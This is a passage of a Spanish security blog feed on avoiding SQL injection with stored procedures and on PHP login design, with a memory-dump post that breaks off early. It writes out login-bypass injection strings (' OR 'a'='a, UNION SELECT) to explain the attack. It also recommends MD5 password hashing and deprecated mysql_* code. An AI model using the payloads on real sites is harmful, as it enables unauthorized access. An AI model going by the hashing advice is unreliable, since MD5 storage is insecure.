Como podemos resolver este problema de manera &quot;sencilla&quot;, pues simplemente usando procedimientos almacenados de la BBDD. Hoy en&amp;nbsp;día&amp;nbsp;los principales motores de bases de datos todos admiten la&amp;nbsp;creación&amp;nbsp;de estos procedimientos, y aparte de agregar Seguridad a nuestras aplicaciones suelen ser una buena&amp;nbsp;solución&amp;nbsp;para aumentar la velocidad de nuestras consultas (Esto no significa que sean la panacea si te van muy muy lentas&amp;nbsp;deberás&amp;nbsp;construir nuevos indices por ejemplo entre otras muchas cosas) porque las consultas ya&amp;nbsp;están&amp;nbsp;PreProcesadas y no hay que perder tiempo en el parseo de estas principalmente.&lt;br /&gt;
&lt;br /&gt;
Vamos al lio, vamos a crear un procedimiento almacenado para mysql el cual nos devuelva la noticia &quot;id&quot; tal de una tabla llamada noticias (comúnmente&amp;nbsp;usado en&amp;nbsp;muchísimas&amp;nbsp;paginas y yo creo que es donde se encuentran la&amp;nbsp;mayoría&amp;nbsp;de las SQLi):&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;CREATE PROCEDURE `&lt;span style=&quot;color: #6aa84f;&quot;&gt;seleccionar_noticias&lt;/span&gt;`(IN &lt;span style=&quot;color: #6fa8dc;&quot;&gt;idBuscar&lt;/span&gt; &lt;span style=&quot;color: #f1c232;&quot;&gt;int&lt;/span&gt;)&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;SELECT Titulo, Cuerpo, Imagen FROM noticias WHERE idNoticia=&lt;span style=&quot;color: #6fa8dc;&quot;&gt;idBuscar&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Y para obtener el resultado de este procedimiento almacenado, se le llama haciendo lo siguiente para obtener el resultado de las noticias con id 1:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;CALL &lt;span style=&quot;color: #6aa84f;&quot;&gt;seleccionar_noticias&lt;/span&gt;(&lt;span style=&quot;color: #e06666;&quot;&gt;1&lt;/span&gt;);&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si por ejemplo&amp;nbsp;quisiéramos&amp;nbsp;hacer una consulta para el login&amp;nbsp;podríamos&amp;nbsp;hacer esto:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;CREATE PROCEDURE `&lt;span style=&quot;color: #6aa84f;&quot;&gt;pagina_login&lt;/span&gt;` ( IN &lt;span style=&quot;color: #3d85c6;&quot;&gt;var_usuario&lt;/span&gt; &lt;span style=&quot;color: #f1c232;&quot;&gt;VARCHAR&lt;/span&gt;(&lt;span style=&quot;color: #e06666;&quot;&gt;100&lt;/span&gt;), IN &lt;span style=&quot;color: #3d85c6;&quot;&gt;var_password&lt;/span&gt; &lt;span style=&quot;color: #f1c232;&quot;&gt;VARCHAR&lt;/span&gt;(&lt;span style=&quot;color: #e06666;&quot;&gt;100&lt;/span&gt;) )&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;SELECT id_usuario FROM usuarios WHERE user=&lt;span style=&quot;color: #3d85c6;&quot;&gt;var_usuario&lt;/span&gt; and password=&lt;span style=&quot;color: #3d85c6;&quot;&gt;var_password&lt;/span&gt; limit 0,1&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Y para obtener el resultado de este procedimiento seria:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;b&gt;CALL &lt;span style=&quot;color: #6aa84f;&quot;&gt;pagina_login&lt;/span&gt;(&#39;&lt;span style=&quot;color: #e06666;&quot;&gt;paco&lt;/span&gt;&#39;,md5(&#39;&lt;span style=&quot;color: #e06666;&quot;&gt;porras&lt;/span&gt;&#39;));&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Recomiendo (por que no os puedo obligar jejeje) que&amp;nbsp;guardéis&amp;nbsp;siempre las password encriptadas en MD5 en la base de datos sumada con un &quot;Salt&quot; que es una cadena que siempre se suma a la password. Por ejemplo en este caso pones $variable = &#39;porras&#39;; $variable = $variable.&#39;s3ik0tr0n&#39;; y pasas la variable $variable a la&amp;nbsp;función&amp;nbsp;md5,&amp;nbsp;quedaría&amp;nbsp;así:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;b&gt;CALL &lt;span style=&quot;color: #6aa84f;&quot;&gt;pagina_login&lt;/span&gt;(&#39;&lt;span style=&quot;color: #e06666;&quot;&gt;paco&lt;/span&gt;&#39;,md5(&#39;&lt;span style=&quot;color: #e06666;&quot;&gt;porras&lt;/span&gt;&lt;span style=&quot;color: #a64d79;&quot;&gt;S3ik0tr0n&lt;/span&gt;&#39;));&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Donde porras seria la password y porrasS3ik0tr0n el resultado de la variable que le hemos pasado.&lt;br /&gt;
&lt;br /&gt;
Volviendo al hilo anterior, en la&amp;nbsp;creación&amp;nbsp;del procedimiento almacenado le hemos dado un valor&amp;nbsp;máximo&amp;nbsp;a las variables (Exactamente&amp;nbsp;aquí: &quot;... VARCHAR(100) ...&quot;) Cualquiera con pocos conocimientos de mysql entiende que la cadena&amp;nbsp;podrá&amp;nbsp;ocupar como mucho 100 caracteres.&lt;br /&gt;
&lt;br /&gt;
Yo creo que con lo poco que he expuesto &quot;cualquiera&quot; con conocimientos&amp;nbsp;mínimos&amp;nbsp;es capaz de solucionar el problema de las inyecciones SQL en sus paginas WEB ya sea en el lenguaje de&amp;nbsp;programación&amp;nbsp;que sea. De esta forma podemos &quot;olvidarnos&quot; del filtrado de variables, puesto que la Base de Datos lo hace por nosotros, pero nunca esta de mas hacerlo, quien sabe los posibles bugs que pudiera tener.&lt;br /&gt;
&lt;br /&gt;
Hombre precavido vale por dos!&lt;br /&gt;
&lt;br /&gt;
Un saludo, y espero seguir contribuyendo a hacer de Internet un lugar mas Seguro.&lt;br /&gt;
&lt;br /&gt;
PD: He usado un juego de colores para que se vea claramente que es cada cosa, si hace falta una Leyenda&amp;nbsp;decírmelo&amp;nbsp;y la agrego con gusto.</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/371471128258802800/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/08/como-corregir-o-evitar-los-sqli.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/371471128258802800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/371471128258802800'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/08/como-corregir-o-evitar-los-sqli.html' title='Como corregir o evitar los SQLi'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-3491658233988230276</id><published>2012-02-02T09:18:00.000+01:00</published><updated>2012-02-02T09:19:51.568+01:00</updated><title type='text'>Como hacer y como NO hacer un Login en PHP (Parte II)</title><content type='html'>Sigamos con el tema...&lt;br /&gt;
&lt;br /&gt;
Ese tipo de login esta muy bien, siempre te arriesgas a no tener bien bien filtrada la entrada de datos y que te salten el Login.&lt;br /&gt;
&lt;br /&gt;
Un login bastante bastante seguro, aun sin filtrar los datos seria el siguiente.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;SELECT idUsuario FROM Usuarios WHERE nombre=&#39;&lt;span style=&quot;color: red;&quot;&gt;$Nombre&lt;/span&gt;&#39; and password=&#39;&lt;span style=&quot;color: red;&quot;&gt;$Password&lt;/span&gt;&#39; LIMIT 0,1&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
-&amp;gt; Comprobamos que solo devuelva una sola fila de resultado.&lt;br /&gt;
-&amp;gt; Recojemos el valor obtenido de idUsuario lo llamaremos $row[0];&lt;br /&gt;
&lt;br /&gt;
Y hacemos la siguiente instruccion:&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;SELECT&amp;nbsp;nombre FROM Usuarios WHERE idUsuario=&#39;&lt;span style=&quot;color: red;&quot;&gt;$row[0]&lt;/span&gt;&#39; and password=&#39;&lt;span style=&quot;color: red;&quot;&gt;$Password&lt;/span&gt;&#39; LIMIT 0,1&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
-&amp;gt; Comprobamos que solo devuelva una sola fila&lt;br /&gt;
-&amp;gt; Recojemos el valor obtenido de&amp;nbsp;esta query como&amp;nbsp;$row2[0]; y lo comparamos que sea igual a $Nombre;&lt;br /&gt;
&lt;br /&gt;
Me gustaria aclarar que las variables aunque sean numericas, siempre suelo meterlas entre comillas, tiene un poco mas de trabajo para la BD pero es mas facil filtrar las comillas que no el parametro q vayas a poner.&lt;br /&gt;
&lt;br /&gt;
Para intentar saltarse este Login habria que hacer lo siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;$Nombre = &quot;&lt;span style=&quot;color: red;&quot;&gt;&#39; UNION SELECT&amp;nbsp;&#39;&lt;span style=&quot;color: blue;&quot;&gt;LoQueQuieras&lt;/span&gt;&#39; FROM Usuarios WHERE 1=1 or &#39;a&#39;=&#39;a&lt;/span&gt;&quot;;&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Con eso conseguiriamos que en la primera sentencia nos devolviera lo que quisieramos en el campo idUsuario y podriamos devolver lo que quisieramos en la primera consulta para hacer una inyeccion en la 2ª. El problema viene a la hora de igualar lo devuelto por la 2ª consulta con lo introducido en la variable $Nombre. Es imposible hacer esto, puesto que dentro de la primera consulta tendrias que devolver la misma consulta y seria una iteracion infinita... no puedes hacer que lo que devuelva sea igual a lo que mandas.&lt;br /&gt;
&lt;br /&gt;
Otra buena forma de hacer un login seguro, y que no se por que no se le ha ocurrido a nadie hasta ahora es la siguiente:&lt;br /&gt;
&lt;br /&gt;
-&amp;gt; Agregamos a la tabla Usuarios una columna que se llame NombreEnc&lt;br /&gt;
-&amp;gt; Guardamos en esa columna el MD5 de los nombre de usuario.&lt;br /&gt;
-&amp;gt; Encriptamos en MD5 tanto el nombre como la password en los datos de input. (OJO siempre desde PHP nunca desde MySQL xq se podria saltar.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;$NombreEnc = md5(&lt;span style=&quot;color: red;&quot;&gt;$_POST[&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&#39;nombre&#39;]&lt;/span&gt;);&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;$Nombre = &lt;span style=&quot;color: red;&quot;&gt;$_POST[&#39;nombre&#39;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;]&lt;/span&gt;;&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;$Password = md5(&lt;span style=&quot;color: red;&quot;&gt;$_POST[&#39;password&#39;]&lt;/span&gt;);&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Y simplemente realizamos esta consulta:&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;SELECT idUsuario,nombre FROM Usuarios WHERE NombreEnc=&#39;&lt;span style=&quot;color: red;&quot;&gt;$NombreEnc&lt;/span&gt;&#39; and password=&#39;&lt;span style=&quot;color: red;&quot;&gt;$Password&lt;/span&gt;&#39; LIMIT 0,1&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
La respuesta de la BD la almacenamos en &lt;strong&gt;$row[0]&lt;/strong&gt; (que corresponderia con idUsuario)&amp;nbsp;y &lt;strong&gt;$row[1] &lt;/strong&gt;(que corresponderia con nombre)&lt;strong&gt;.&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Y haciendo una sencilla comprobacion de que nos devuelva solo 1 fila, y que $row[1] es igual a $Nombre tendriamos autenticado al usuario.&lt;br /&gt;
&lt;br /&gt;
Por lo tanto la funcion seria:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;strong&gt;function Login&lt;/strong&gt;($nombre,$password){&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
$nom = $nombre;&lt;br /&gt;
$nomEnc = md5($nom);&lt;br /&gt;
$pass = md5($password);&lt;br /&gt;
&lt;br /&gt;
$sql = &quot;&lt;strong&gt;SELECT idUsuario,nombre FROM Usuarios WHERE NombreEnc=&#39;&quot;.&lt;span style=&quot;color: red;&quot;&gt;$nomEnc&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;.&quot;&lt;/span&gt;&#39; and password=&#39;&quot;.&lt;span style=&quot;color: red;&quot;&gt;$pass&lt;/span&gt;.&quot;&#39; LIMIT 0,1&lt;/strong&gt;&quot;;&lt;br /&gt;
&lt;br /&gt;
$result = mysql_query($sql);&lt;br /&gt;
&lt;br /&gt;
if($row = mysql_fetch_row($result) &amp;amp;&amp;amp; mysql_num_rows($result) == 1)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if($row[1] == $nom)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return $row[0];&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return False;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return False;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Y haciendo:&lt;br /&gt;
$log = Login(&quot;pepe&quot;,&quot;4321&quot;);&lt;br /&gt;
&lt;br /&gt;
if($log != False){&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //Acciones para hacer una vez logueado.&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Y ya tendriamos un login &quot;securizado&quot; sin haber aplicado ningun tipo de filtro.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya gustado y si teneis alguna duda o aporte no dudeis en comentar.</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/3491658233988230276/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/02/como-hacer-y-como-no-hacer-un-login-en_02.html#comment-form' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3491658233988230276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3491658233988230276'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/02/como-hacer-y-como-no-hacer-un-login-en_02.html' title='Como hacer y como NO hacer un Login en PHP (Parte II)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-4746015343921822102</id><published>2012-02-01T14:31:00.000+01:00</published><updated>2012-02-02T09:38:29.169+01:00</updated><title type='text'>Como hacer y como NO hacer un Login en PHP (Parte I)</title><content type='html'>Buenas gente, hace tiempo que no escribo, pero como tampoco es que me lea mucha gente, pues tampoco pasa nada jajajaja. Esto es mas un &quot;Enseñame a pescar&quot; mas que &quot;Dame peces&quot;, ya me entendeis!&lt;br /&gt;
&lt;br /&gt;
Quiero decir que&amp;nbsp;aquí&amp;nbsp;para gustos los colores, puedes hacerlo como quieras y&amp;nbsp;también&amp;nbsp;puede estar bien, yo&amp;nbsp;aquí&amp;nbsp;solo pongo ejemplos.&lt;br /&gt;
&lt;br /&gt;
Voy a describir la tabla mas o menos normal de un login.&lt;br /&gt;
&lt;br /&gt;
Tabla Usuarios:&lt;br /&gt;
****************************************************************************&lt;br /&gt;
| idUsuario | Nombre | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Password &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Email &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | Nivel |&lt;br /&gt;
****************************************************************************&lt;br /&gt;
| &amp;nbsp; &amp;nbsp; &amp;nbsp;1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | Admin &amp;nbsp; &amp;nbsp;| 81dc9bdb52d04dc20036dbd8313ed055 (1234) | admin@sitio.com &amp;nbsp;| 1 &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;
------------------------------------------------------------------------------------------------------&lt;br /&gt;
| &amp;nbsp; &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Pepe &amp;nbsp; &amp;nbsp; &amp;nbsp;|&amp;nbsp;d93591bdf7860e1e4ee2fca799911215 (4321) &amp;nbsp; &amp;nbsp;| pepe@pepe.com &amp;nbsp;| 0 &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;
------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
Por lo tanto tenemos la Tabla Usuarios { idUsuario, Nombre, Password, Email, Nivel }esta seria la estructura normal de una tabla de usuarios de una pagina web.&lt;br /&gt;
&lt;br /&gt;
La sentencia SQL normalmente utilizada para hacer el login seria la siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;SELECT idUsuario FROM Usuarios WHERE Nombre=&#39;&lt;span style=&quot;color: red;&quot;&gt;$Nombre&lt;/span&gt;&#39; and Password=&#39;&lt;span style=&quot;color: red;&quot;&gt;$Password&lt;/span&gt;&#39; LIMIT 0,1&lt;/b&gt; &lt;br /&gt;
Ejemplo:&lt;br /&gt;
&lt;b&gt;SELECT idUsuario FROM Usuarios WHERE Nombre=&#39;&lt;span style=&quot;color: red;&quot;&gt;Pepe&lt;/span&gt;&#39; and Password=&#39;&lt;span style=&quot;color: red;&quot;&gt;d93591bdf7860e1e4ee2fca799911215&lt;/span&gt;&#39; LIMIT 0,1&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Recomiendo pasar ya encriptada la password a la BD asi evitamos un poco de SQLi de forma tal &lt;b&gt;$Password = md5($_POST[&#39;password&#39;]);&lt;/b&gt; por ejemplo, aunque siempre es recomendable meterle un SALT a la password (es decir una cadena concatenada) para en caso de&amp;nbsp;intrusión&amp;nbsp;ponerlo un poquito mas dificil sacar la password. Ejemplo $Password = md5($_POST[&#39;password&#39;].&quot;NombreDeMiWeb&quot;);&lt;br /&gt;
&lt;br /&gt;
De esta forma nos&amp;nbsp;devolvería&amp;nbsp;un idUsuario valido en caso de encontrar un usuario con ese nombre y esa password. PROBLEMA, si no&amp;nbsp;están&amp;nbsp;bien filtrados los&amp;nbsp;parámetros&amp;nbsp;$_POST, $_COOKIE e incluso $_SESSION por los que haces la&amp;nbsp;inserción&amp;nbsp;de texto en el sitio correspondiente del a consulta se&amp;nbsp;podría&amp;nbsp;&quot;escapar&quot; y hacer login con el primer usuario de la BD que en este caso como vemos es el Admin (no tiene por que serlo). Quedando la consulta de esta forma (Pongo en Rojo lo que introducimos por Variable)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;SELECT idUsuario FROM Usuarios WHERE Nombre=&#39;&lt;span style=&quot;color: red;&quot;&gt;&#39; OR &#39;a&#39;=&#39;a&#39; OR &#39;a&#39;=&#39;a&lt;/span&gt;&#39; and Password=&#39;&lt;span style=&quot;color: red;&quot;&gt;6cd484bc2bd0dc3216e156ba85c693ac&lt;/span&gt;&#39; LIMIT 0,1&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;
De esta forma hemos pasado la restriccion y nos devolvera el idUsuario del primer usuario de la BD por que le estamos diciendo a la BD&amp;nbsp;devuélveme&amp;nbsp;el idUsuario de Usuarios cuando el Nombre sea igual a nada O &quot;a&quot; sea igual a &quot;a&quot; o &quot;a&quot; sea igual a &quot;a&quot; y Password sea igual a tal. Como se cumple la 2ª&amp;nbsp;condición&amp;nbsp;de que &quot;a&quot; es igual a &quot;a&quot;, la BD nos devuelve el primer idUsuario.&lt;br /&gt;
&lt;br /&gt;
También&amp;nbsp;podríamos&amp;nbsp;haber insertado en la variable $Nombre un simple &#39; OR &#39;a&#39;=&#39;a&#39;%23 y&amp;nbsp;habríamos&amp;nbsp;omitido todo el final de la sentencia sql (%23 = #), pero esto nos&amp;nbsp;habría&amp;nbsp;devuelto TODOS los id, y si la&amp;nbsp;aplicación&amp;nbsp;busca que solo devuelva un id (una buena&amp;nbsp;comprobación&amp;nbsp;también) pues no&amp;nbsp;saltaríamos&amp;nbsp;ese login.&lt;br /&gt;
&lt;br /&gt;
En fin que me&amp;nbsp;desvío&amp;nbsp;un poco del tema. pero&amp;nbsp;así&amp;nbsp;dejo la base un poco sentada.&lt;br /&gt;
&lt;br /&gt;
Esto que he explicado suele ser un Login normal y corriente, que estando bien filtrado no&amp;nbsp;tendría&amp;nbsp;que tener mayor problema.&lt;br /&gt;
&lt;br /&gt;
Continuare... Lo voy publicando xq se esta haciendo mu largo esto.</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/4746015343921822102/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/02/como-hacer-y-como-no-hacer-un-login-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/4746015343921822102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/4746015343921822102'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/02/como-hacer-y-como-no-hacer-un-login-en.html' title='Como hacer y como NO hacer un Login en PHP (Parte I)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-3972491681705075003</id><published>2011-12-14T17:41:00.000+01:00</published><updated>2011-12-14T17:41:49.353+01:00</updated><title type='text'>Por que no dejarle a alguien tu PC encendido.</title><content type='html'>&lt;br /&gt;
Pues buenas, hablando con un compañero, me ha propuesto hablar de este tema, un poco para concienciar a la gente de los peligros que ello conlleva. La gente se piensa que esto es algo super&amp;nbsp;difícil&amp;nbsp;de hacer, pero realmente con un par de comandos y sin ser un genio de la&amp;nbsp;informática&amp;nbsp;se puede conseguir cosas o&amp;nbsp;información&amp;nbsp;bastante critica...&lt;br /&gt;
&lt;br /&gt;
Vamos a ponernos un poco en&amp;nbsp;situación, para esta Proof of Concept he utilizado una maquina virtual (VMWare) con Windows XP Service Pack 3 512 MB de memoria RAM (para que el dump de memoria no tarde mucho). Un programa que se llama Memory_dd en su&amp;nbsp;versión&amp;nbsp;1.3 que se puede descargar de internet y es software libre.&lt;br /&gt;
&lt;br /&gt;
Y mi Ubuntu Linux version 11.04 sin ningun programa extraño mas.&lt;br /&gt;
&lt;br /&gt;
Vamos a ir por pasos, primero entramos en el correo&amp;nbsp;electrónico:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixgl5i1W9JSLJBzJzBQLV_8LItNLjH7W6pl7tWHsq7Fo0PgdAlHUAnrRxNdMpIJQe3hEap1G9PnthOxLk1Su__jW5hL5OA2NSCfmLCymo_DfqatRdiljHlZn84-AgRdoKIUIwlmO28pvs/s1600/1.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;436&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixgl5i1W9JSLJBzJzBQLV_8LItNLjH7W6pl7tWHsq7Fo0PgdAlHUAnrRxNdMpIJQe3hEap1G9PnthOxLk1Su__jW5hL5OA2NSCfmLCymo_DfqatRdiljHlZn84-AgRdoKIUIwlmO28pvs/s640/1.JPG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Vemos y abrimos el email que nos ha llegado:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOc7wW9G0ed0qOiDHpK7IywmIJ4sMzHujWJn_RGLAFSzjiN_qwXAtnQgWukX3HDcxA8kt99pnxXdr3_7FHCJ7u5pfV2qZW5iceoFjc5gKPFcv7jytj4X57b6aAGYHvFxex1qocEpJQ7hI/s1600/2.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;438&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOc7wW9G0ed0qOiDHpK7IywmIJ4sMzHujWJn_RGLAFSzjiN_qwXAtnQgWukX3HDcxA8kt99pnxXdr3_7FHCJ7u5pfV2qZW5iceoFjc5gKPFcv7jytj4X57b6aAGYHvFxex1qocEpJQ7hI/s640/2.JPG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Respondemos al email:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
